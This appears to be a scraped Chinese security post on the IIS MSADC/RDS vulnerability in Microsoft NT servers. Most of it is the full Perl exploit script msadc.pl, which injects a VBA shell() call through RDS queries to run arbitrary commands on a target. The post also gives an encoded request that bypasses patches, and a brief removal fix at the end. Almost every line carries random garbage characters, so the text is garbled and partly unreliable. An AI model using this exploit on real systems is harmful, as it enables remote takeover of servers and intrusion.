IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Ont4-AP
$o?Wum 涉及程序:
Z}5;K"T/ Microsoft NT server
.:B]
a7b pE[ul 描述:
c6:"5};_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
8&7LF 35%'HFt_ 详细:
zZ3,e L 如果你没有时间读详细内容的话,就删除:
OQ;DqV c:\Program Files\Common Files\System\Msadc\msadcs.dll
ek1YaE 有关的安全问题就没有了。
q.`+d[Q2 z)='MKrEt- 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Ix93/FAn qrsPY d 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
yS _,lS 关于利用ODBC远程漏洞的描述,请参看:
cE
'`W7&A Y 4sf 2w http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (f,D$mX 0Y,_
DU 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
7?:7}xb- http://www.microsoft.com/security/bulletins/MS99-025faq.asp iov55jT~l@ rZ/,^[T 这里不再论述。
E5w.wx 0(iTnzx0 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
,Drd s"H )cNG)F /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"2o,XF 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
"gADHt=MIR qPK3"fzH RY2`v
pv #将下面这段保存为txt文件,然后: "perl -x 文件名"
*-(J$4RNz n_Px=s!1p@ #!perl
lpQsmd# #
f^@`[MJj1C # MSADC/RDS 'usage' (aka exploit) script
@%q0fj8b #
6UXa
5t
# by rain.forest.puppy
(Hb
i+IHV #
US A!N # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
X2hV)8Sk # beta test and find errors!
wrv-"%u) ?vuM'UH- use Socket; use Getopt::Std;
WX&Man!f getopts("e:vd:h:XR", \%args);
WHk/Rg%< axW3#3#` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
rl qn39 =/&ob%J)9] if (!defined $args{h} && !defined $args{R}) {
2s_shY<=}L print qq~
dVmI.A'nbp Usage: msadc.pl -h <host> { -d <delay> -X -v }
PsU.dv[ -h <host> = host you want to scan (ip or domain)
4h\MSTF* -d <seconds> = delay between calls, default 1 second
QijEb -X = dump Index Server path table, if available
QkBT,c -v = verbose
+ulBy -e = external dictionary file for step 5
PdcF p&ytUTna Or a -R will resume a command session
hPLQ)c? $p30?\ ~; exit;}
^o}!=aMr Pf5RlpL:p $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
&2C6q04b if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
i% 19|an if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n&Bolt(tO if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Me;@/;c( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
fEf",{I if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
s7e)Mt {|=
8wB if (!defined $args{R}){ $ret = &has_msadc;
Sh( die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
3&.?9 mE^mQ [Dk print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?W-J2tgss{ . "cmd /c ";
[0U!Y/?6lA $in=<STDIN>; chomp $in;
;A7HEx $command="cmd /c " . $in ;
gVjI1{WTK <yz)iCU? if (defined $args{R}) {&load; exit;}
- ?_aYJ 3CK4a,]Dm print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
H6X]D"Y, &try_btcustmr;
Ve#VGlI 2j&-3W$^ print "\nStep 2: Trying to make our own DSN...";
e@"1W &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
6Ko[[?Lf[ 6*9hAnH print "\nStep 3: Trying known DSNs...";
%
\p:S)R &known_dsn;
iD+Q\l;% ":E
7#9 print "\nStep 4: Trying known .mdbs...";
:M)B#@ c= &known_mdb;
/{Ksi+q .q$HL t if (defined $args{e}){
*ci,;-*C print "\nStep 5: Trying dictionary of DSN names...";
01<~~6A &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
12BTZ 0j\?zt? print "Sorry Charley...maybe next time?\n";
A@-nn] exit;
~?4'{Hc' l&2A]5C ##############################################################################
5RCQ<1 d%VG@./xq sub sendraw { # ripped and modded from whisker
T8+A`z=tSb sleep($delay); # it's a DoS on the server! At least on mine...
H'|b$rP0@ my ($pstr)=@_;
%SuEfCM socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Njsz= die("Socket problems\n");
Tn2nd if(connect(S,pack "SnA4x8",2,80,$target)){
?JO x9;` select(S); $|=1;
:%cL(',Q print $pstr; my @in=<S>;
,4wVQ(,?cd select(STDOUT); close(S);
@9~a3k| return @in;
&.D3f" } else { die("Can't connect...\n"); }}
IH8^ fyQ` M7!>-P ##############################################################################
|:Gz9u + Hf!o6 o sub make_header { # make the HTTP request
d1VNTB my $msadc=<<EOT
CnyCEIO- POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
qDZ?iTHQq User-Agent: ACTIVEDATA
Ht|No Host: $ip
YSERQo Content-Length: $clen
#12 Connection: Keep-Alive
p.^glz >B ]7" W( ADCClientVersion:01.06
mpfc2>6Il. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
?Iy$'am]L _ #]uk&5a --!ADM!ROX!YOUR!WORLD!
ZD\`~I|gp Content-Type: application/x-varg
ov&4&v Content-Length: $reqlen
&TYTeJ] 5q?2?j/h EOT
D#|+PG7 ; $msadc=~s/\n/\r\n/g;
))f%3_H return $msadc;}
%B+W#Q` 6U[`CGL66 ##############################################################################
t=M:L[bis; R{Q*"sf sub make_req { # make the RDS request
U5Say3r my ($switch, $p1, $p2)=@_;
R&}"En`$s my $req=""; my $t1, $t2, $query, $dsn;
A*#.7Np!" 1sp>UBG if ($switch==1){ # this is the btcustmr.mdb query
j}R!'m(P' $query="Select * from Customers where City=" . make_shell();
G?$|aQ0j $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
?u.&BP $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
` b a}6D |@#37 elsif ($switch==2){ # this is general make table query
_)s<E9t2N $query="create table AZZ (B int, C varchar(10))";
fa7Z=:aG $dsn="$p1";}
hbm%{*d ^UI{U1N~Bz elsif ($switch==3){ # this is general exploit table query
70bI}/u $query="select * from AZZ where C=" . make_shell();
dl_ h0 $dsn="$p1";}
x_Zi^ ] NH&/= elsif ($switch==4){ # attempt to hork file info from index server
3db ,6R $query="select path from scope()";
Sc03vfmo"N $dsn="Provider=MSIDXS;";}
}z{2~ 0, l_tr,3_w elsif ($switch==5){ # bad query
\HX'^t` $query="select";
e~]3/ 0 $dsn="$p1";}
Za68V/Vj y'\BpP $t1= make_unicode($query);
wBz?OnD/D $t2= make_unicode($dsn);
+-tvNX%IJ $req = "\x02\x00\x03\x00";
^<X+t&!z $req.= "\x08\x00" . pack ("S1", length($t1));
N~7xj? $req.= "\x00\x00" . $t1 ;
`x%v&> $req.= "\x08\x00" . pack ("S1", length($t2));
jo 0
d# $req.= "\x00\x00" . $t2 ;
'z$ BgXh\ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
r}kQ<SRx return $req;}
&)`xlIw} >i^8K U ##############################################################################
On
x[}x zAT7^q^ sub make_shell { # this makes the shell() statement
'&/ 35d9|* return "'|shell(\"$command\")|'";}
qxS=8#-`( egQB!%D ##############################################################################
W4n;U-Hb NA%M)u{| sub make_unicode { # quick little function to convert to unicode
H",w$$eF my ($in)=@_; my $out;
Zzy!D for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
%Jy0?W N return $out;}
]WlE9z7:8 ~2
L{m[s| ##############################################################################
`4^-@} E"d\N-I sub rdo_success { # checks for RDO return success (this is kludge)
_<tWy+. my (@in) = @_; my $base=content_start(@in);
:|cC7,S if($in[$base]=~/multipart\/mixed/){
"|P8L|
@* return 1 if( $in[$base+10]=~/^\x09\x00/ );}
irj{Or^k return 0;}
Ln6\Iis G.v zz-yG ##############################################################################
K_/-mwA v P$LHsg] sub make_dsn { # this makes a DSN for us
O ?`=<W/R my @drives=("c","d","e","f");
l2&cwjc print "\nMaking DSN: ";
nx{_^sK foreach $drive (@drives) {
QTZfe<m0 print "$drive: ";
*12,MO>go my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
yB][
3?lv "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
[:M:6JJ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
UcaLi& $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
M "QT(u+ return 0 if $2 eq "404"; # not found/doesn't exist
&!/E&e$_ if($2 eq "200") {
"rhU2jT=c foreach $line (@results) {
\XDc{c] return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Axb,{X[6g } return 0;}
['9awgkr/ u!kC+0Y ##############################################################################
I*,!zym tBR"sBiws sub verify_exists {
mqw5\7s ? my ($page)=@_;
hf5yTs my @results=sendraw("GET $page HTTP/1.0\n\n");
2.''Nt6| return $results[0];}
fL^+Qb} E=N44[`.G ##############################################################################
$P<T`3Jg vo48\w7[ sub try_btcustmr {
h#_KO-#.[ my @drives=("c","d","e","f");
P#e1? my @dirs=("winnt","winnt35","winnt351","win","windows");
{NmpTb 8?p40x$m% foreach $dir (@dirs) {
%V r vu5 print "$dir -> "; # fun status so you can see progress
:|j,x7&/{ foreach $drive (@drives) {
21(8/F ~{ print "$drive: "; # ditto
fL3Px $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&8kc0Z@y $reqlenlen=length( "$reqlen" );
61qs`N=k $clen= 206 + $reqlenlen + $reqlen;
: ?K}.Kb SePPI.n my @results=sendraw(make_header() . make_req(1,$drive,$dir));
z4qw*. 5 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
;%-f>'KhI7 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
}^T7S2_Qy Zp5;=8wa; ##############################################################################
eN*=wOh NBLiwL37{ sub odbc_error {
8:W,"" my (@in)=@_; my $base;
;ZnSWIF2 my $base = content_start(@in);
m}t.E if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
_8*}S= $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4k}3^.# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)-2sk@y $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9\2<#,R1q return $in[$base+4].$in[$base+5].$in[$base+6];}
ZkbaUIQ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Gk"o/]Sf print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
K7G|cZ/^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
&G#LQl 3Z,J&d`[ ##############################################################################
+TA'P$j \BIa:}9O sub verbose {
+w'"N my ($in)=@_;
x#wkODLqi return if !$verbose;
m8Wv46% print STDOUT "\n$in\n";}
b=V"$(Q , 7` /D ##############################################################################
cJ CKxj +ZuT\P&kR5 sub save {
I+qg'mo my ($p1, $p2, $p3, $p4)=@_;
qG=?+em open(OUT, ">rds.save") || print "Problem saving parameters...\n";
977%9z<h print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
c~_nOd close OUT;}
96L-bBtyY pKSn
3-A ##############################################################################
to}g4 /O,>s sub load {
,'FH[2 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
f9+J} open(IN,"<rds.save") || die("Couldn't open rds.save\n");
G~$.Af!9W @p=<IN>; close(IN);
ejr9e@D^ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
uc0 1{t0, $target= inet_aton($ip) || die("inet_aton problems");
bfjC: "!H print "Resuming to $ip ...";
s& INcjC $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
X#625h if($p[1]==1) {
7(ni_|$| $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
[w0@7p"7 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
<F>^ffwGH- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Iq76JJuCb if (rdo_success(@results)){print "Success!\n";}
z%lu% else { print "failed\n"; verbose(odbc_error(@results));}}
'hEvW elsif ($p[1]==3){
VnZRsFY<^ if(run_query("$p[3]")){
Y]zy=8q print "Success!\n";} else { print "failed\n"; }}
DC&3=Nd elsif ($p[1]==4){
c"nowbf if(run_query($drvst . "$p[3]")){
hxCSE$f4 print "Success!\n"; } else { print "failed\n"; }}
|E%i
t?3M exit;}
~0;l\^ 0_!')+ ##############################################################################
2sezZeMV tHhau.! sub create_table {
{6_M$"e. my ($in)=@_;
8R3x74fL $reqlen=length( make_req(2,$in,"") ) - 28;
kIC$ai6. $reqlenlen=length( "$reqlen" );
O\3
Lx $clen= 206 + $reqlenlen + $reqlen;
zmA]@'j my @results=sendraw(make_header() . make_req(2,$in,""));
~}lYp^~:J return 1 if rdo_success(@results);
,M4G_U[ my $temp= odbc_error(@results); verbose($temp);
JJIlR{WY_ return 1 if $temp=~/Table 'AZZ' already exists/;
-<g&U*/E return 0;}
i6S5 4&^! r JvtE}x1 ##############################################################################
OouIV3
11'^JmKA sub known_dsn {
JAQ y # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
d8)ps, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
a#huK~$~ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>yZe1CP "banner", "banners", "ads", "ADCDemo", "ADCTest");
a Uy!(Y w5C$39e\G foreach $dSn (@dsns) {
m;_gNh8 Ee print ".";
>)Udb// next if (!is_access("DSN=$dSn"));
6Kvo Ho if(create_table("DSN=$dSn")){
u<g0oEs) print "$dSn successful\n";
s6U$]9 ` if(run_query("DSN=$dSn")){
lQ8h -Tz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-qbx:Kk( print "Something's borked. Use verbose next time\n";}}} print "\n";}
[NxC7p:Lo v>XAzA ##############################################################################
4# L}& yt5Sy sub is_access {
s6DmZ^Y% my ($in)=@_;
*?JNh; $reqlen=length( make_req(5,$in,"") ) - 28;
1Fg*--8[r $reqlenlen=length( "$reqlen" );
"jUM}@q5 $clen= 206 + $reqlenlen + $reqlen;
|;(95 my @results=sendraw(make_header() . make_req(5,$in,""));
{Vw\#/, my $temp= odbc_error(@results);
6>yfm4o verbose($temp); return 1 if ($temp=~/Microsoft Access/);
~nVO%IxM4J return 0;}
`{Jo>L. a-cLy*W,~ ##############################################################################
Daw;6f: @QN(ouq Q sub run_query {
A_y]6~Mu?~ my ($in)=@_;
Nv~H797B $reqlen=length( make_req(3,$in,"") ) - 28;
$_ BoG $reqlenlen=length( "$reqlen" );
FI(iqSJ6 $clen= 206 + $reqlenlen + $reqlen;
d3[O!4<T my @results=sendraw(make_header() . make_req(3,$in,""));
>=6 j: return 1 if rdo_success(@results);
<Jf[N= my $temp= odbc_error(@results); verbose($temp);
|3bCq(ZR\P return 0;}
s3/iG37K *=2sXH1j ##############################################################################
M+L8~BD@ S"@/F-
81 sub known_mdb {
)bgaqca_{ my @drives=("c","d","e","f","g");
:Rroz]* my @dirs=("winnt","winnt35","winnt351","win","windows");
l%_r 3W my $dir, $drive, $mdb;
sTSNu+ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
baO'FyCs9& 9cnLf# # this is sparse, because I don't know of many
R<L<kChg my @sysmdbs=( "\\catroot\\icatalog.mdb",
x 8/I"!gI "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
LmZ"_ "\\system32\\certmdb.mdb",
Y'{F^VxA/ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
(
kKQs") 61 @;3yV my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
pBxyq"z "\\cfusion\\cfapps\\forums\\forums_.mdb",
W5^<4Ya! "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
*U mWcFoF "\\cfusion\\cfapps\\security\\realm_.mdb",
zR!p-7_w "\\cfusion\\cfapps\\security\\data\\realm.mdb",
<k'%rz "\\cfusion\\database\\cfexamples.mdb",
uxOeD%Z> "\\cfusion\\database\\cfsnippets.mdb",
[0?W>A*h "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
?;YymD_ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
tR Cz[M& "\\cfusion\\brighttiger\\database\\cleam.mdb",
TPF5 ? "\\cfusion\\database\\smpolicy.mdb",
+V `* "\\cfusion\\database\cypress.mdb",
l+UUv]:1 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
T&q0TBT "\\website\\cgi-win\\dbsample.mdb",
\3WQ<t)W "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Wb%t6N? "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
V{{Xz: ); #these are just
Bnfp_SM foreach $drive (@drives) {
,+>JQ82 foreach $dir (@dirs){
PC<[$~ foreach $mdb (@sysmdbs) {
y2o~~te print ".";
9 S4bg7 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^2a 63_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
2X,`t%o if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
KNG7$icG print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
NVX @1} } else { print "Something's borked. Use verbose next time\n"; }}}}}
'JRYf;9c T^DJ/uhd foreach $drive (@drives) {
m#,AD,s foreach $mdb (@mdbs) {
\|YIuzlO4 print ".";
:V!F~ if(create_table($drv . $drive . $dir . $mdb)){
p9-s' F|@i print "\n" . $drive . $dir . $mdb . " successful\n";
rQsYt/ if(run_query($drv . $drive . $dir . $mdb)){
eUVhNg print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
63fgl+ } else { print "Something's borked. Use verbose next time\n"; }}}}
UGP,/[XI }
aCF=Og g2%fla7r ##############################################################################
KL\hV .6 #oD; ?Mi sub hork_idx {
$4:Se#nl print "\nAttempting to dump Index Server tables...\n";
He)!Ez\X print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
_Q9I
W $reqlen=length( make_req(4,"","") ) - 28;
z=6zc-$y 9 $reqlenlen=length( "$reqlen" );
!T"jvDYH $clen= 206 + $reqlenlen + $reqlen;
IwVdx^9 my @results=sendraw2(make_header() . make_req(4,"",""));
b V&"jjEx if (rdo_success(@results)){
-R-yr.$j* my $max=@results; my $c; my %d;
\~>
.NH- for($c=19; $c<$max; $c++){
=$-+~ $results[$c]=~s/\x00//g;
a797'{j#PI $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
2_GbK- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
WNSY@q $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
gVI{eoJ $d{"$1$2"}="";}
n09P!],Xa foreach $c (keys %d){ print "$c\n"; }
eL_Il.: } else {print "Index server doesn't seem to be installed.\n"; }}
[ 0z-X7=e )?;+<, ##############################################################################
V [Wo9Y\ a7}O.NDf sub dsn_dict {
yHf:/8Z open(IN, "<$args{e}") || die("Can't open external dictionary\n");
~7>D>!! while(<IN>){
O_ d[{e=5` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
lw43|_'G-t next if (!is_access("DSN=$dSn"));
%j/}e>$"Nk if(create_table("DSN=$dSn")){
lSG]{ print "$dSn successful\n";
a];1)zVA6 if(run_query("DSN=$dSn")){
Ku?1QDhrF* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
rcz9\@M print "Something's borked. Use verbose next time\n";}}}
vMzBp#MT print "\n"; close(IN);}
slQEAqG)B UuCRQN H ##############################################################################
2QgD< 9/h[(qvT sub sendraw2 { # ripped and modded from whisker
8l*h\p:Q sleep($delay); # it's a DoS on the server! At least on mine...
FGzn|I my ($pstr)=@_;
X@ S~D7|ja socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_t>[gB, die("Socket problems\n");
l\WN
if(connect(S,pack "SnA4x8",2,80,$target)){
3}lIY7O print "Connected. Getting data";
V-9\@'gc open(OUT,">raw.out"); my @in;
.dsB\C select(S); $|=1; print $pstr;
v Q51-.g while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
BB imP close(OUT); select(STDOUT); close(S); return @in;
oFKTBH:I } else { die("Can't connect...\n"); }}
xEg@Y"NQ NwN3T]W ##############################################################################
Dn#^-,H cAq5vAqmg sub content_start { # this will take in the server headers
Mq='|0, my (@in)=@_; my $c;
(SMk!b]} for ($c=1;$c<500;$c++) {
srhI%Zj if($in[$c] =~/^\x0d\x0a/){
dVSQG947i: if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Pq,iR J else { return $c+1; }}}
ue*o>iohB return -1;} # it should never get here actually
H 3so&_ =~TPrO^ ##############################################################################
?&=JGk^eJ "?^#+@LV sub funky {
M<r]a{Yv my (@in)=@_; my $error=odbc_error(@in);
Gkm{b[ if($error=~/ADO could not find the specified provider/){
W~FU!C?] print "\nServer returned an ADO miscofiguration message\nAborting.\n";
+~"(Wooi exit;}
T037|k a{ if($error=~/A Handler is required/){
io UO0 print "\nServer has custom handler filters (they most likely are patched)\n";
P4:Zy;$v! exit;}
(>uA(#Z if($error=~/specified Handler has denied Access/){
*i {e$Zv' print "\nServer has custom handler filters (they most likely are patched)\n";
e>x+Xj1 exit;}}
=>XjChM yO`
|X ##############################################################################
>T)tAZ?WK @F/,~|{iM sub has_msadc {
i>KgkRZL# my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
P#}vi$dZ my $base=content_start(@results);
[#(',~lN7 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
ux~=}{tz return 0;}
`Hqgahb{P Wm4C(y@ ########################
[6Q1yNE M)~sL1) -O\fy! 解决方案:
b&6lu4D 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
^kke 2、移除web 目录: /msadc